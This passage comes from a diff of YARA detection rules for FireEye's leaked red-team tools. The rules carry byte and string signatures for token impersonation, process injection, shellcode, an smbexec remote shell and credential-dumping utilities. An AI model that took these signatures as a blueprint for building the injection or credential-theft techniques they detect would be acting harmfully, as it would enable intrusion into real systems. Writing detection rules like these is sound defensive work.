3322fba40c4de7e3de0fda1123b0bf5d" - logic_hash = "ab38e5ebded026829672941709797b40f8e13fb244b6a8ed3545de4358f727b8" + logic_hash = "56237d686b954950849adeedc87d5f9fbff2335a0ff033ba8571b3e3b93f587c" score = 75 quality = 75 tags = "FILE" - rev = 3 strings: - $s1 = "AdjustTokenPrivileges" fullword - $s2 = "LookupPrivilegeValueW" fullword - $s3 = "ImpersonateLoggedOnUser" fullword - $s4 = "runCommand" fullword - $steal_token = { FF 15 [4] 85 C0 [1-40] C7 44 24 ?? 01 00 00 00 [0-20] C7 44 24 ?? 02 00 00 00 [0-20] FF 15 [4] FF [1-5] 85 C0 [4-40] 00 04 00 00 FF 15 [4-5] 85 C0 [2-20] ( BA 0F 00 00 00 | 6A 0F ) [1-4] FF 15 [4] 85 C0 74 [1-20] FF 15 [4] 85 C0 74 [1-20] ( 6A 0B | B9 0B 00 00 00 ) E8 } + $create_thread_injected = { 7E [2] 00 0A 0A 16 0B 16 8D [2] 00 01 0C 28 [2] 00 06 2? ?? 2A 28 [2] 00 0A 1E 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 7E [2] 00 0A 08 8E 69 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 0D 09 7E [2] 00 0A 28 [2] 00 0A } + $iz1 = /_Cor(Exe|Dll)Main/ fullword + $suspended_process = { 12 ?? FE 15 [2] 00 02 1? ?? FE 15 [2] 00 02 02 14 7E [2] 00 0A 7E [2] 00 0A 16 20 [2] 00 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 } condition: ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Keylogger_Win64_REDFLARE_1 : FILE +rule FIREEYE_RT_Loader_MSIL_DUEDLLIGENCE_3 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "3c980f5a-c775-5c25-ba28-91a93a1b9a85" - date = "2020-12-01" - date = "2020-12-01" - modified = "2020-12-09" + id = "42e4e777-6d51-5733-97df-dc27f13a27b7" + date = "2020-12-18" + modified = "2020-12-18" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Keylogger_Win64_REDFLARE_1.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/Loader_MSIL_DUEDLLIGENCE_3.yar#L5-L16" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "fbefb4074f1672a3c29c1a47595ea261" - logic_hash = "26fe577ba637c484d9a8ccc2173b5892a76328a90a39a2bebbae6bd2a6329485" + logic_hash = "41cc6a4c7765b1e5e88d12660b69e434c83938ca974b9ccf6545b4dd5dd78378" score = 75 quality = 75 tags = "FILE" - rev = 1 strings: - $create_window = { 41 B9 00 00 CF 00 [4-40] 33 C9 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 FF 15 } - $keys_check = { B9 14 00 00 00 FF 15 [4-8] B9 10 00 00 00 FF 15 [4] BE 00 80 FF FF 66 85 C6 75 ?? B9 A0 00 00 00 FF 15 [4] 66 85 C6 75 ?? B9 A1 00 00 00 FF 15 [4] 66 85 C6 74 } + $create_thread_injected = { 7E [2] 00 0A 0A 16 0B 16 8D [2] 00 01 0C 28 [2] 00 06 2? ?? 2A 28 [2] 00 0A 1E 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 0C 7E [2] 00 0A 08 8E 69 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 0D 09 7E [2] 00 0A 28 [2] 00 0A } + $iz1 = /_Cor(Exe|Dll)Main/ fullword + $rc4 = { 20 00 01 00 00 8D [2] 00 01 1? ?? 20 00 01 00 00 8D [2] 00 01 1? ?? 03 8E 69 8D [2] 00 01 1? ?? 16 0B 2B ?? 1? ?? 07 02 07 02 8E 69 5D 91 9E 1? ?? 07 07 9E 07 17 58 0B 07 20 00 01 00 00 32 } + $suspended_process = { 12 ?? FE 15 [2] 00 02 1? ?? FE 15 [2] 00 02 02 14 7E [2] 00 0A 7E [2] 00 0A 16 20 [2] 00 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Builder_PY_REDFLARE_1 +rule FIREEYE_RT_Hacktool_MSIL_HOLSTER_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the a customized version of the 'DUEDLLIGENCE' project." author = "FireEye" - id = "3b5ad25d-ce66-572e-9a91-40a73b8fd447" - date = "2020-11-27" - date = "2020-11-27" + id = "e1e8979e-2dee-5061-a11d-00dcfba476c3" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Builder_PY_REDFLARE_1.yar#L4-L22" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/HackTool_MSIL_HOLSTER_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "d0a830403e56ebaa4bfbe87dbfdee44f" - logic_hash = "1948cadb7242eb69bffbc222802ce9c1af38d7a846da09b6343b1449fe054e42" + hash = "a91bf61cc18705be2288a0f6f125068f" + logic_hash = "bc254a1ab71f2a6092f139ce5a85347a7a4976f963603ffbbebb9b0d6ce6573c" score = 75 - quality = 75 - tags = "" - rev = 1 + quality = 73 + tags = "FILE" + rev = 2 strings: - $1 = "LOAD_OFFSET_32 = 0x612" - $2 = "LOAD_OFFSET_64 = 0x611" - $3 = "class RC4:" - $4 = "struct.pack('<Q' if is64b else '<L'" - $5 = "stagerConfig['comms']['config']" - $6 = "_x86.dll" - $7 = "_x64.dll" + $typelibguid1 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide condition: - all of them and @1 [ 1 ] < @2 [ 1 ] and @2 [ 1 ] < @3 [ 1 ] and @3 [ 1 ] < @4 [ 1 ] and @4 [ 1 ] < @5 [ 1 ] + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_4 : FILE +rule FIREEYE_RT_MSIL_Launcher_DUEDLLIGENCE_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'DUEDLLIGENCE' project." author = "FireEye" - id = "6e8621b0-a0ee-5fc7-a2b8-1973a42d6e37" - date = "2020-12-01" - date = "2020-12-01" + id = "86f0ebe5-110b-53e2-bba5-676f00c2cddd" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_4.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/MSIL_Launcher_DUEDLLIGENCE_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "a8b5dcfea5e87bf0e95176daa243943d, 9dcb6424662941d746576e62712220aa" - logic_hash = "d027e98ad8fa6d03a49ceffd81fba6a621173e2dbabae652bee2f4e8489bb378" + hash = "a91bf61cc18705be2288a0f6f125068f" + logic_hash = "bd6abaa909f0c776d81ed1115e875888336661c91df3881f4f3ea5dd27e115f8" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 2 + rev = 1 strings: - $s1 = "LogonUserW" fullword - $s2 = "ImpersonateLoggedOnUser" fullword - $s3 = "runCommand" fullword - $user_logon = { 22 02 00 00 [1-10] 02 02 00 00 [0-4] E8 [4-40] ( 09 00 00 00 [1-10] 03 00 00 00 | 6A 03 6A 09 ) [4-30] FF 15 [4] 85 C0 7? } + $typelibguid0 = "73948912-cebd-48ed-85e2-85fcd1d4f560" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Downloader_Win32_REDFLARE_1 : FILE +rule FIREEYE_RT_Tool_MSIL_Sharpgrep_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGrep' project." author = "FireEye" - id = "e8d7ee31-568e-58ac-98ad-49baa2eb37ea" - date = "2020-11-27" - date = "2020-11-27" + id = "c7569d33-f57d-5f9c-aa2a-78866c680b5b" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Downloader_Win32_REDFLARE_1.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPPGREP/production/yara/Tool_MSIL_SharpGrep_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "05b99d438dac63a5a993cea37c036673" - logic_hash = "a340a2a732a9b1aa74ca9d84009a88d1b14b6a03140a859384c0d6e745e4a90a" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "c22bfc50b3ab3c4082006aad3c3c89684cffe1e429b001b0bb08758856a47d04" score = 75 - quality = 75 + quality = 73 tags = "FILE" rev = 1 strings: - $const = "Cookie: SID1=%s" fullword - $http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [1-10] 6A 00 8B [1-8] 5? 6A 00 6A 00 6A 00 8B [1-8] 5? 68 [4] 8B [1-8] 5? FF 15 [4-40] 6A 14 E8 } + $typelibguid0 = "f65d75b5-a2a6-488f-b745-e67fc075f445" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Loader_Win32_REDFLARE_2 : FILE +rule FIREEYE_RT_Loader_MSIL_Wmirunner_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIRunner' project." author = "FireEye" - id = "6a585401-bfd3-5aad-b484-09b6a30d9af5" - date = "2020-11-27" - date = "2020-11-27" + id = "04c6acfc-859f-5e4a-8c59-9adf08f21657" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win32_REDFLARE_2.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMIRUNNER/production/yara/Loader_MSIL_WMIRunner_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "4e7e90c7147ee8aa01275894734f4492" - logic_hash = "98dfb71adbde4f8965e612c19f0965d8fa95805825569290fdf72eb1d86cfb70" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "49d21756a4f0b29909c4b0fa9f3a98dd0480f9401923032de4b3920814b85f29" score = 75 - quality = 75 + quality = 73 tags = "FILE" rev = 1 strings: - $inject = { 83 F8 01 [4-50] 6A 00 6A 00 68 04 00 00 08 6A 00 6A 00 6A 00 6A 00 5? [10-70] FF 15 [4] 85 C0 [1-20] 6A 04 68 00 10 00 00 5? 6A 00 5? [1-10] FF 15 [4-8] 85 C0 [1-20] 5? 5? 5? 8B [1-4] 5? 5? FF 15 [4] 85 C0 [1-20] 6A 20 [4-20] FF 15 [4] 85 C0 [1-40] 01 00 01 00 [2-20] FF 15 [4] 85 C0 [1-30] FF 15 [4] 85 C0 [1-20] FF 15 [4] 83 F8 FF } - $s1 = "ResumeThread" + $typelibguid0 = "6cc61995-9fd5-4649-b3cc-6f001d60ceda" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Trojan_Linux_REDFLARE_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Prepshellcode_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'PrepShellcode' project." author = "FireEye" - id = "220302bc-4ed3-5e10-9bd2-a8ed2bdaef73" - date = "2020-12-02" - date = "2020-12-02" + id = "32fb6b1d-e01f-5555-8516-088dca2166cf" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/supplemental/yara/APT_Trojan_Linux_REDFLARE_1.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PREPSHELLCODE/production/yara/HackTool_MSIL_PrepShellcode_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e" - logic_hash = "282f11c4c86d88d05f11e92f5483701d9a54c2dd39f21316cd271aa78a338d0f" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "aedae87d84275f6589c982c04175ddc0aee3e4f3ae959ced4b4e2294675522e6" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 1 + rev = 2 strings: - $s1 = "find_applet_by_name" fullword - $s2 = "bb_basename" fullword - $s3 = "hk_printf_chk" fullword - $s4 = "runCommand" fullword - $s5 = "initialize" fullword + $typelibguid0 = "d16ed275-70d5-4ae5-8ce7-d249f967616c" ascii nocase wide condition: - ( uint32( 0 ) == 0x464c457f ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_6 : FILE +rule FIREEYE_RT_Hacktool_PY_Impacketobfuscation_1 { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "smbexec" author = "FireEye" - id = "5875a9ec-c3ee-57f0-a430-4443db585def" + id = "992d1132-3136-5e1b-a1ef-dcdf36ebf0f5" date = "2020-12-01" date = "2020-12-01" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/supplemental/yara/APT_Trojan_Win_REDFLARE_6.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/IMPACKETOBF (Smbexec)/production/yara/HackTool_PY_ImpacketObfuscation_1.yar#L4-L22" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "294b1e229c3b1efce29b162e7b3be0ab, 6902862bd81da402e7ac70856afbe6a2" - logic_hash = "1e6f8320e0c0b601fc72fa4d9c61e46adfbcd84638c97da5988ca848e036312a" + hash = "0b1e512afe24c31531d6db6b47bac8ee" + logic_hash = "45a4c0426b29b8c8bede9c4e8292131da7e756d48fc3ac4a07d08fd52383d21e" score = 75 - quality = 75 - tags = "FILE" - rev = 2 + quality = 50 + tags = "" + rev = 1 strings: - $s1 = "RevertToSelf" fullword - $s2 = "Unsuccessful" fullword - $s3 = "Successful" fullword - $s4 = "runCommand" fullword - $s5 = "initialize" fullword + $s1 = "class CMDEXEC" nocase + $s2 = "class RemoteShell" nocase + $s3 = "self.services_names" + $s4 = "import random" + $s6 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]%CoMSpEC%[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase + $s7 = /self\.__serviceName[\x09\x20]{0,32}=[\x09\x20]{0,32}self\.services_names\[random\.randint\([\x09\x20]{0,32}0[\x09\x20]{0,32},[\x09\x20]{0,32}len\(self\.services_names\)[\x09\x20]{0,32}-[\x09\x20]{0,32}1\)\]/ condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + all of them } -rule FIREEYE_RT_Hacktool_MSIL_INVEIGHZERO_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_GETDOMAINPASSWORDPOLICY_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'inveighzero' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the recon utility 'getdomainpasswordpolicy' project." author = "FireEye" - id = "f46fe365-ea50-5597-828e-61a7225e4c6e" + id = "69745e99-33cc-5171-ae7a-5c98439a0b6d" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/INVEIGHZERO/production/yara/HackTool_MSIL_INVEIGHZERO_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/GETDOMAINPASSWORDPOLICY/production/yara/HackTool_MSIL_GETDOMAINPASSWORDPOLICY_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "5d10557a83dae9508469fe87f4c0c91beec4d2812856eee461a82d5dbb89aa35" + logic_hash = "6b2ea3ebfea2c87f16052f4a43b64eb2d595c2dd4a64d45dfce1642668dcf602" score = 75 quality = 73 tags = "FILE" - rev = 2 + rev = 4 strings: - $typelibguid0 = "113ae281-d1e5-42e7-9cc2-12d30757baf1" ascii nocase wide + $typelibguid0 = "a5da1897-29aa-45f4-a924-561804276f08" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + filesize < 10MB and ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_LUALOADER_1 : FILE +rule FIREEYE_RT_Hacktool_Win32_Andrewspecial_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'lualoader' project." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "e8480cf8-1852-5572-8e92-c0ae676b7507" - date = "2020-12-08" + id = "69e27e92-d68e-5543-bada-170e32733dbb" + date = "2020-11-25" + date = "2020-11-25" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_HackTool_MSIL_LUALOADER_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/HackTool_Win32_AndrewSpecial_1.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "7e9f9836ec91aa66c8779588cfceff718487f0cb5048d17538c947aba687a4cf" + hash = "e89efa88e3fda86be48c0cc8f2ef7230" + logic_hash = "529a49fb21250069111d03a174901dc2e1623ee2a1f446aae1bdb1579a227dd3" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 3 + rev = 4 strings: - $typelibguid0 = "8b546b49-2b2c-4577-a323-76dc713fe2ea" ascii nocase wide + $dump = { 6A 00 68 FF FF 1F 00 FF 15 [4] 89 45 ?? 83 [2] 00 [1-50] 6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 10 68 [4] FF 15 [4] 89 45 [10-70] 6A 00 6A 00 6A 00 6A 02 8B [2-4] 5? 8B [2-4] 5? 8B [2-4] 5? E8 [4-20] FF 15 } + $shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 } + $shellcode_x86_inline = { C6 45 ?? B8 C6 45 ?? 3C C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 33 C6 45 ?? C9 C6 45 ?? 8D C6 45 ?? 54 C6 45 ?? 24 C6 45 ?? 04 C6 45 ?? 64 C6 45 ?? FF C6 45 ?? 15 C6 45 ?? C0 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 83 C6 45 ?? C4 C6 45 ?? 04 C6 45 ?? C2 C6 45 ?? 14 C6 45 ?? 00 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and $dump and any of ( $shellcode* ) } -rule FIREEYE_RT_APT_Loader_MSIL_LUALOADER_2 : FILE +rule FIREEYE_RT_Credtheft_MSIL_Titospecial_2 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the TitoSpecial project. There are 2 GUIDs in this rule as the x86 and x64 versions of this tool use a different ProjectGuid." author = "FireEye" - id = "f2826dbb-f0a4-5361-94d1-8509c60c4131" - date = "2020-12-18" - modified = "2020-12-18" + id = "0262c720-e6b8-5bf2-a242-19a7f044973f" + date = "2020-12-08" + modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_Loader_MSIL_LUALOADER_2.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/CredTheft_MSIL_TitoSpecial_2.yar#L4-L16" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - logic_hash = "700927768669eda6976071306e991bfaae136279f4265980521597c699fbed88" + hash = "4bf96a7040a683bd34c618431e571e26" + logic_hash = "2f621f8de2a4679e6cbce7f41859eaa3095ca54090c8bfccd3b767590ac91f2c" score = 75 - quality = 50 + quality = 71 tags = "FILE" + rev = 4 strings: - $ss1 = "\x3bN\x00e\x00o\x00.\x00I\x00r\x00o\x00n\x00L\x00u\x00a\x00.\x00L\x00u\x00a\x00C\x00o\x00m\x00p\x00i\x00l\x00e\x00O\x00p\x00t\x00i\x00o\x00n\x00s\x00" - $ss2 = "\x19C\x00o\x00m\x00p\x00i\x00l\x00e\x00C\x00h\x00u\x00n\x00k\x00" - $ss3 = "\x0fd\x00o\x00c\x00h\x00u\x00n\x00k\x00" - $ss4 = /.Reflection.Assembly:Load\(\w{1,64}\);?\s{0,245}\w{1,64}\.EntryPoint:Invoke\(nil/ wide - $ss5 = "1F 8B 08 00 00 00 00 00" wide - $ss6 = "\x00LoadLibrary\x00" - $ss7 = "\x00GetProcAddress\x00" - $ss8 = "\x00VirtualProtect\x00" + $typelibguid1 = "C6D94B4C-B063-4DEB-A83A-397BA08515D3" ascii nocase wide + $typelibguid2 = "3b5320cf-74c1-494e-b2c8-a94a24380e60" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( $typelibguid1 or $typelibguid2 ) } -rule FIREEYE_RT_APT_Loader_MSIL_LUALOADER_1 : FILE +rule FIREEYE_RT_Hacktool_Win64_Andrewspecial_1 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "970a869e-bd69-5609-bb8d-77bfa78b0630" - date = "2020-12-18" - modified = "2020-12-18" + id = "20ce4902-4eb3-5ecf-aa8c-0515965dde57" + date = "2020-11-25" + date = "2020-11-25" + modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_Loader_MSIL_LUALOADER_1.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/HackTool_Win64_AndrewSpecial_1.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - logic_hash = "2d73d434ac39ebde990aca817a54208cd04bfbce33f1bcadcf48a50d9389658c" + hash = "4456e52f6f8543c3ba76cb25ea3e9bd2" + logic_hash = "96f06c46dfec795fcfd08c188853d0a3f781003ae118833719a175eb59049c0d" score = 75 - quality = 50 + quality = 75 tags = "FILE" + rev = 5 strings: - $sb1 = { 1? 72 [4] 14 D0 [2] 00 02 28 [2] 00 0A 1? 8D [2] 00 01 13 ?? 11 ?? 1? 1? 14 28 [2] 00 0A A2 11 ?? 1? 1? 14 28 [2] 00 0A A2 11 ?? 28 [2] 00 0A 28 [2] 00 0A 80 [2] 00 04 7E [2] 00 04 7B [2] 00 0A 7E [2] 00 04 11 ?? 11 ?? 6F [2] 00 0A 6F [2] 00 0A } - $ss1 = "\x3bN\x00e\x00o\x00.\x00I\x00r\x00o\x00n\x00L\x00u\x00a\x00.\x00L\x00u\x00a\x00C\x00o\x00m\x00p\x00i\x00l\x00e\x00O\x00p\x00t\x00i\x00o\x00n\x00s\x00" - $ss2 = "\x19C\x00o\x00m\x00p\x00i\x00l\x00e\x00C\x00h\x00u\x00n\x00k\x00" - $ss3 = "\x0fd\x00o\x00c\x00h\x00u\x00n\x00k\x00" - $ss4 = /.Reflection.Assembly:Load\(\w{1,64}\);?\s{0,245}\w{1,64}\.EntryPoint:Invoke\(nil/ wide - $ss5 = "1F 8B 08 00 00 00 00 00" wide + $dump = { 33 D2 B9 